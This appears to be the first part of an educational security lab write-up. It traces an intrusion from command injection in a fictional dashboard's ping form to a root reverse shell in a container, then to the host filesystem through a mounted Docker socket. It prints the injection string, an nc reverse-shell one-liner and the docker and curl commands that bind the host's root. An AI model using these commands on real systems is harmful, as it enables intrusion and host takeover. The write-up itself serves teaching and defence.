Shell to Signal
CASE_001/SOCLab

How the intruder reached the host

One semicolon in a web form, and a container that could talk to Docker. Follow the intrusion from an open dashboard to root on the host, one step at a time.

Level: BeginnerCase 001 · AttackLinux · Docker
8 min readPart 1 of 3

One semicolon. That is all it took to go from a small web form to root on the host.

Imagine you are testing a company’s systems, with permission. You find a dashboard that should be private, but you can reach it from the partner network: the part of the network shared with outside suppliers.

What can that dashboard do? And if something is wrong, how far could one mistake take you? Let’s follow the clues in our isolated lab.

Note

About this lab. SOCLab and its opsboard dashboard are fictional and were built by us. The exercise took place in an isolated lab. The screenshots and telemetry are from that lab.

In 30 seconds
  • The way in: a host-check box that passes your text to a shell (command injection).
  • The foothold: a reverse shell, running as root, but still inside a container.
  • The way out: Docker’s control socket was mounted in that container, so we asked Docker for a new container with the host’s disk attached.
  • The result: a file written into the host’s /root, by two different routes.

The dashboard we can reach

SOCLab uses a small internal page called opsboard to see which containers are running and check whether a host is reachable. It is meant for the internal network. Someone opens it to the partner network “just for now.”

Now the page is reachable from outside that network, on port 8080. That is our first clue: we have found a door that was not meant to be open. So what happens when we use the dashboard’s host-check box?

What happens when I enter a host name?

Opsboard has a box that says, “Check if a host is up.” Behind the page, the server takes what we type and uses it in a command like this:

>_
ping -c 1 -W 1  <your text>

Normally, we might enter a host such as 127.0.0.1. The trouble is that the server passes our text straight to a command shell. On Linux, a semicolon can separate one command from another. In the lab, entering 127.0.0.1;id makes the server run the ping and then run id as a second command.

What we typed, and the line that mattered
host=127.0.0.1;id
uid=0(root) gid=0(root) ...

The response includes uid=0(root). That tells us the extra command ran as root inside the container. We have found a command-injection bug: the page was meant to check a host, but it also ran an instruction hidden in the input.

Command injection returning root. From the lab: a normal host check, then 127.0.0.1;id returning uid=0(root).

Quick question

What did the semicolon do?

A live prompt is easier

Typing a command into a webpage each time we want to try something is awkward. In the lab, the tester first started a listener on their own machine: a program that simply waits for a connection (nc -lvnp 4444). Then they used the same bug to make the container call back to it. That callback opened a reverse shell: a live command prompt inside the container. The target connects outward, and the tester receives the prompt.

The exact command is a short, cryptic one-liner - it is tucked away below, and you do not need to read it to follow the story.

Show the lab command
>_
;nc 10.10.30.10 4444 -e /bin/sh &

Now the prompt says root. Does that mean we are on the host?

Not yet. Look at the hostname:

Inside the reverse shell
$ id
uid=0(root) gid=0(root) ...
$ hostname
d33eff068218

It is a random string, d33eff068218, rather than cont01. That is a clue we are still inside a container.

Reverse shell connecting back. From the lab: the container connects back, and id shows root.

Is there a way out of the container?

A container is like a room inside a server. It keeps an application separated, but the room can still have doors or connections to the rest of the building. So let’s look for clues that tell us where we are and what connections are available.

>_
$ ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 /.dockerenv           # a sign we are in a container

$ ls -la /var/run/docker.sock
srw-rw---- 1 root 989 0 /var/run/docker.sock   # the Docker socket is present

The first result confirms that we are in a container. The second is the important discovery: the Docker socket is present.

The socket is a control connection to Docker, the program managing containers on the host. Opsboard could see it because someone mounted it inside the container so the dashboard could list containers. In everyday terms, it is like giving a visitor a cable that reaches the building’s control room. The dashboard only needed to look at container status, but the cable could let a program send instructions to Docker.

The Docker socket found inside the container. From the lab: /.dockerenv and the Docker socket are both present inside the container.

Can Docker reach the host’s files?

We know the socket can reach Docker. But what can Docker do for us? The lab tried two routes. Both asked Docker to start a small container with the host’s files available inside it, then write a marker file into the host’s /root directory.

Route one: use the Docker command

>_
docker run --rm -v /:/host alpine:3.22 \
  sh -c 'echo ... > /host/root/soclab-poc-A.txt'

This route uses the docker command-line program. It asks Docker to start a container, make the host’s files available at /host, and write a marker there.

Route two: use curl to talk to Docker

What if the docker program is not installed? The socket also lets programs talk to Docker’s API directly. The idea is the same as route one, but we send the requests ourselves: first create the container, then start it.

First, a quick check: can curl reach the Docker engine through the socket?

>_
$ curl -s --unix-socket /var/run/docker.sock http://localhost/version
{"Platform":{"Name":"Docker Engine - Community"},
 "Version":"29.9.1","ApiVersion":"1.56", ...}

The engine answers. Good - we know curl can talk to it. Now the lab creates the container. The important part is /:/host: it makes the host’s files available inside the new container. The full request is long, so it is tucked away below.

Show the lab request
>_
$ curl -s --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    -d '{"Image":"alpine:3.22",
         "Cmd":["sh","-c","echo SOCLAB-POC-B > /host/root/soclab-poc-B.txt"],
         "HostConfig":{"Binds":["/:/host"],"AutoRemove":true}}' \
    http://localhost/containers/create

{"Id":"31529af236ee...","Warnings":[]}

The response gives us a container ID. The lab then uses that ID to start the container:

>_
$ curl -s --unix-socket /var/run/docker.sock -X POST \
    http://localhost/containers/31529af236ee/start

# HTTP 204 No Content means the start request succeeded

There is no response text, but HTTP 204 means the request succeeded. The marker file appears in the host’s /root directory. We have gone from a dashboard inside a container to an action on the host.

Why try two routes?

The two routes look different, but both talk to the same Docker engine and reach the same result. Route one uses the docker command. Route two uses curl and the API. Keep both in mind: Part 2 looks at the traces each route left behind.

The file that starts the investigation

Both routes leave a marker in the host’s /root directory:

>_
/root/soclab-poc-A.txt    (Docker command)
/root/soclab-poc-B.txt    (curl and the Docker API)

An unexpected file on the host is exactly the kind of clue that starts a defensive investigation.

The whole path at a glance

Here is the full route, from the open dashboard to a file on the host. Each step handed the attacker to the next one.

How the intruder reached the host - the whole pathA left-to-right flow: the opsboard dashboard on port 8080, a command injection, a root shell inside the container, the Docker socket, and finally the host filesystem where a marker file is left. The Docker socket reaches the host through the Docker engine, driven by the docker command or by curl and the API.via Docker engine1opsboard:80802Command injection3Container shellroot4docker.sock5Host /rootmarker file
How the intruder reached the host - the whole pathTop to bottom: the opsboard dashboard on port 8080, a command injection, a root shell in the container, the Docker socket, and the host filesystem where a marker file is left. The socket reaches the host through the Docker engine.via Docker engine1opsboard dashboard:80802Command injection3Container shellroot4docker.sock5Host /rootmarker file
From the open dashboard to a file on the host - each step hands off to the next. The Docker engine can be driven two ways: the docker command, or curl and the API.

Does this happen in real life?

Yes. Tools that need to see or manage containers, such as monitoring agents, build runners and container dashboards, often mount the Docker socket on purpose. That is fine for a trusted tool on a trusted network. It becomes dangerous when the same container also faces the network and has a bug, like opsboard.

The short fix: do not give a network-facing container Docker’s socket. If a tool truly needs Docker access, limit what it can ask for and run it as a non-root user. Part 3 turns this into detections and prevention steps.

What comes next?

This part followed how the intrusion happened. Part 2, what the logs saw, follows the same evening from the defender’s side: one strange file, and the trail back to the open dashboard.